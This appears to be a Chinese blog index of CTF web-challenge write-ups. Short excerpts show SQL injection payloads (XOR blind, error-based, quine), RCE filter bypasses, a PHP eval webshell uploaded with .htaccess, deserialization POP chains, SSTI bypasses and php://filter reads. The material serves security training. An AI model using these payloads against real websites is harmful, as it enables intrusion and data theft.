Hillain
天资聪颖慧根尚在,生性懒惰才智枉存。
毕业工作重拾博客,锻炼思维记录成长。
——2023.10.07
展开
-
CTF网络安全题目个人导航【持续更新】
个人整理原创 2023-10-11 23:48:23 · 1095 阅读 · 1 评论 -
[极客大挑战 2019]FinalSQL - 异或盲注
1、这题的关键是找注入点,如果选择用户名、密码作为输入点就麻烦了2、注入点:按钮,点击就传id;当id=1时,提示Click others 可以利用id的特性,构造异或匹配 payload: f"1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{j},1))={i})^1" payload有两个异或:1^表达式^1原创 2023-10-05 23:08:40 · 700 阅读 · 0 评论 -
[GXYCTF2019]Ping Ping Ping - RCE(空格、关键字绕过[3种方式])
/?ip=|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){ echo preg_match("/\&|\/|\?|\*|\|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); die("fxck your symbol!"); } else if(preg_match("/ /", $ip)){ die("fxck your space!"); } else原创 2023-10-11 23:10:31 · 986 阅读 · 0 评论 -
[CISCN 2019初赛]Love Math - RCE(异或绕过)
//听说你很喜欢数学,不知道你是否爱它胜过爱flagif(!isset($_GET['c'])){ show_source(__FILE__);}else{ //例子 c=20-1 $content = $_GET['c']; if (strlen($content) >= 80) { die("太长了不会算"); } $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]原创 2023-10-11 22:29:27 · 486 阅读 · 0 评论 -
[安洵杯 2019]easy_web - RCE(关键字绕过)+md5强碰撞+逆向思维
1、F12发现提示md5 is funny ~;还有img标签中,有伪协议和base64编码2、url地址是index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd= 这就有意思了,这里的img明显是编码后的数据 但是这里有个坑,也就是考我们的逆向思维,其实解密之后我们并不需要去访问555.png,而是解密得到555.png之后,心理瞬间舒畅了,因为我们知道从555.png -> TXpVek5UTTFNbVUzTURabE5qYz0原创 2023-10-11 21:03:11 · 1559 阅读 · 0 评论 -
[GXYCTF2019]BabyUpload - 文件上传+绕过(后缀&文件类型&文件内容&.htaccess)
1、上传一句话,提示“后缀不允许ph”2、修改后缀为jpg,提示“上传类型也太露骨了吧!”3、修改类型为image/jpeg,提示“诶,别蒙我啊,这标志明显还是php啊”4、修改一句话的标识为: @eval($_POST["pwd"]);5、上传.htaccess原创 2023-10-11 00:38:19 · 991 阅读 · 0 评论 -
[RoarCTF 2019]Easy Calc - RCE(函数输出)+参数waf绕过(PHP字符串解析特性)
1、参数是num,黑名单过滤空格、‘`’、中括号、缩进符等2、?num=a 报错(被waf了,说明字母会被拦截) 这里就涉及到一个知识点了:PHP的字符串解析特性 例如:/?foo=bar变成Array([foo] => “bar”)。值得注意的是,查询字符串在解析的过程中会将某些字符删除或用下划线代替。 例如:/?%20news[id%00=42会转换为Array([news_id] => 42)。 PHP需要将所有参数转换为有效的变量名,因此在解析查询字符串时,它会做两件事原创 2023-10-10 23:52:38 · 409 阅读 · 0 评论 -
[羊城杯 2020]black cat - 文件隐写+RCE(hash_hmac绕过)
这题要post这几个参数:Black-Cat-Sheriff、One-ear、White-cat-monitor这里有3个if,首先第一个肯定绕过;第二个if里面存在hash_hmac函数,只要我们传数组就能让盐是空,即第一次加密的clandestine是空第三个因为盐是空所以只有普通加密,Black-Cat-Sheriff传对应加密结果就行特性:MD5、sha特性是无法识别数组,只要是数组加密,就会变成null,所以White-cat-monitor采用数组绕过原创 2023-10-10 22:55:54 · 695 阅读 · 2 评论 -
[PwnThyBytes 2019]Baby_SQL - 代码审计+布尔盲注+SESSION_UPLOAD_PROGRESS利用
简单的分析一下:1、index.php中,开启了session,我们通过任何方式的传参都会经过过滤函数 过滤函数:参数值必须是字符串,其次是通过addslashes函数过滤2、login.php,存在sql语句,并写了数据库是ptbctf,密码通过MD5的形式校验3、register.php,用户名不允许是admin,且长度要6原创 2023-10-10 18:51:06 · 348 阅读 · 0 评论 -
[GWCTF 2019]你的名字 - SSTI注入(waf绕过)
分析1、页面只有一个输入框,输入什么回显什么2、根据特性应该是SSTI注入解题fuzz:过滤则长度1512过滤:{{}}、class、mro、builtins、file、func_globals、import、args、eval、for、if、config、popen(将open过滤)绕过:{{}}用{%print%}、关键字要么用attr(‘cla’'ss’)|attr(‘base’)形式绕过、要么用['__clas'+'s__']形式绕过、要么用clconfigass形式绕原创 2023-10-10 16:09:45 · 451 阅读 · 0 评论 -
[HNCTF 2022 WEEK2]easy_unser - 反序列化(wakeup绕过&目录绕过)
2、起始:body(__construct)、终点:body(__destruct),中间需要绕过__wakeup()1、题目干扰字符太多了,其实简化之后的代码差不多这样。原创 2023-10-07 09:39:45 · 1153 阅读 · 0 评论 -
[CSAWQual 2019]Web_Unagi - 文件上传+XXE注入(XML编码绕过)
alicepasswd1Alicealice@fakesite.comCSAW2019bobpasswd2 Bobbob@fakesite.c原创 2023-10-10 09:01:24 · 1490 阅读 · 1 评论 -
[鹏城杯 2022]简单的php - 无数字字母RCE(取反)【*】
分析题目参数:code特点:1、参数值长度不能超过80 2、不能输入数字字母,仅这一点就可以排除常规做法。所以这题利用取反+RCE来做原创 2023-10-08 17:15:37 · 901 阅读 · 0 评论 -
[UUCTF 2022 新生赛]ezpop - 反序列化(字符串逃逸)【***】
起点:UUCTF(__construct)终点:youwant(rce)链条:UUCTF(key='UUCTF';basedata=反序列化数据)-> nothing(a=&$n->b;t=$o)-> output(a=$y)-> youwant(cmd=命令)注意点:1、UUCTF的basedata用来存放反序列化数据 2、参数是data,通过post传参 3、post的参数,需要通过字符串逃逸针对此类题目,由于特点是把我们的序列化数据再次序列化……原创 2023-10-08 11:05:09 · 685 阅读 · 0 评论 -
[NISACTF 2022]babyserialize - 反序列化(waf绕过)【*】
1、分析链条和属性 链条:`TianXiWeis(__wakeup)-> Ilovetxw(__call)-> four(__set) -> Ilovetxw(__toString)-> NISA(__invoke)` 属性:`TianXiWeis(ext=$i)-> Ilovetxw(huang=$f)-> four(fun="sixsixsix";a=$i)-> Ilovetxw(su=$n)-> NISA(txw4ever=命令)`原创 2023-10-07 16:27:17 · 1124 阅读 · 0 评论 -
[ZJCTF 2019]NiZhuanSiWei - 伪协议+文件包含+反序列化
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "".file_get_contents($text,'r').""; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file);原创 2023-10-09 22:17:30 · 1036 阅读 · 0 评论 -
[LitCTF 2023]作业管理系统 - 文件上传+弱口令
1、F12看到页面源代码有注释:默认账户admin admin 使用:admin-admin 可直接登录2、上传一句话木马原创 2023-10-09 22:00:25 · 379 阅读 · 0 评论 -
[idekCTF 2022]Paywall - LFI+伪协议+filter_chain
1、file_get_contents会读取文件内容,这道题目,实际上要读的文件名是flag2、利用p传参,并且内容必须以FREE开头,strpos函数作用是获取目标字符串位置,如果FREE在开头,则pos是0。3、又因为要以FREE开头,所以普通伪协议没法写,比如php://filter/read=convert.base64-encode/resource=FREE/flag? 为了将FREE隐藏于无形中还要让他生效,我们应该采用filter_chain的方式去绕过原创 2023-10-09 21:48:38 · 590 阅读 · 0 评论 -
[极客大挑战 2020]Roamphp2-Myblog - 伪协议+文件上传+(LFI&ZIP)||(LFI&Phar)【***】
1、点击login,进入登录界面,用户名在首页提示了是longlone,密码未知,无法登录。2、点击其他地方,发现没有什么线索,唯一有的只有page这个参数。3、题目描述:Do you know the PHP pseudo-protocol? —— 意思就是跟伪协议有关系关键代码:原创 2023-10-09 21:18:13 · 520 阅读 · 2 评论 -
[天翼杯 2021]esay_eval - RCE(disabled_function绕过||AS_Redis绕过)+反序列化(大小写&wakeup绕过)
1、看代码,有unserialize函数,说明要反序列化2、有 eval($this->code) ,说明要RCE3、有preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);,说明要绕过waf4、A的wakeup里面会把code置空,所以要绕过起点:B(destruct) 终点:A(call)链条:B(destruct::a=$a)-> A(call::code=命令)原创 2023-10-09 09:29:19 · 912 阅读 · 0 评论 -
[NSSRound#1 Basic]sql_by_sql - 二次注入+布尔盲注||sqlmap
用burpsuite抓包,判断id类型,使用id=1 or 1=1,如果是字符型则会提示不存在,但是这里明显可以执行,说明id是数字型。1、所以先注册名为:admin’–+的用户,这样就可以直接修改admin密码,登录后,获取cookie。——如果这里的url写错了,是查不到的,而且cookie很重要,非admin的cookie无法进行查询。此时如果我们注册的用户名是admin’–+、admin’#、admin’–的话。1、构造sql注入语句,由于sqllite数据库,sql的保留字会有所区别。原创 2023-10-06 00:56:04 · 469 阅读 · 0 评论 -
[SWPUCTF 2021 新生赛]sql - 联合注入
Your Login name:id,flag —— 这里复习了一下任意匹配字符,一开始都以为不用加%,差点忘记了。Your Login name:LTLT_flag,users —— 得到LTLT_flag。1、fuzz看哪些关键字被过滤:空格、substr、=被过滤。这题相比于参考文章的题目多了waf过滤。首先,仍然是网站标题提示参数是wllm。原创 2023-10-07 08:49:46 · 915 阅读 · 0 评论 -
[SWPUCTF 2021 新生赛]easy_sql - 联合注入||报错注入||sqlmap
得到:XPATH syntax error: ‘~NSSCTF{82bf2238-f61d-41f1-b103-’最终:flag=NSSCTF{82bf2238-f61d-41f1-b103-848e28154cee}得到:XPATH syntax error: ‘~ test_tb,users ~’得到:Your Login name:xxx Your Password:yyy。得到:XPATH syntax error: ‘~ id,flag ~’说明无回显,尝试报错注入。表为:test_db。原创 2023-10-06 10:11:45 · 1152 阅读 · 0 评论 -
[NISACTF 2022]join-us - 报错注入&无列名注入
这种框,可以直接爆破关键字,看是否拦截,也可以手动尝试,发现=、union、and、or、substr、database等关键字都拦截了1、学到了:可以用数据库中不存在的表名或者不存在的自定义函数名爆出数据库名,1'-a()# 或 1' || (select * from aa)# FUNCTION sqlsql.a does not exist2、直接甩一个报错注入上去,extractvalue(0,concat(0x7e,1,0x7e));# 没拦截,说明可以试一下原创 2023-10-06 00:34:24 · 679 阅读 · 0 评论 -
[NISACTF 2022]hardsql - quine注入
题目描述:`$password=$_POST['passwd']; $sql="SELECT passwd FROM users WHERE username='bilala' and passwd='$password';";`从描述看出是quine注入,且用户名要是bilala1、经测试,参数为:username=&passwd=&login=登录,username必须为bilala2、【= and 空格】被过滤【like or /**/】3、参考文章:https://blog.csdn.ne原创 2023-10-05 23:41:03 · 738 阅读 · 0 评论 -
[CISCN 2019华北Day2]Web1 - 布尔盲注
考点:布尔盲注【注意,sql中的substr初始位置是1不是0】1、页面提示用id传参,而且我们发现是post传参2、我们传了id=1后提示“Hello, glzjin wants a girlfriend.“3、由于这题直接输入查询字符,可以通过字典爆破过滤,过滤了and、order、where、空格等字符4、传id=1',发现是显示bool值, 这题说明是盲注题型post:id=0 —— Error Occured When Fetch Result.id=1 —— Hello, gl原创 2023-10-05 23:25:20 · 582 阅读 · 0 评论 -
[羊城杯 2020]easyser - 反序列化+SSRF+伪协议(绕过死亡die)
F12看提示: 小胖说用个不安全的协议从我家才能进ser.php呢! !意思就是http协议就能进ser.php,回顾一下http协议咋用的?……原创 2023-10-08 16:41:01 · 1138 阅读 · 0 评论 -
[NISACTF 2022]popchains - 反序列化+伪协议
链条:Road_is_Long(construct->wakeup【page=$r】-> toString【string=$m】)-> Make_a_Change(construct->get【effort=$t】)-> Try_Work_Hard(invoke->append【var='php://filter/read=convert.base64-encode/resource=/flag'】)原创 2023-10-07 23:00:48 · 1573 阅读 · 0 评论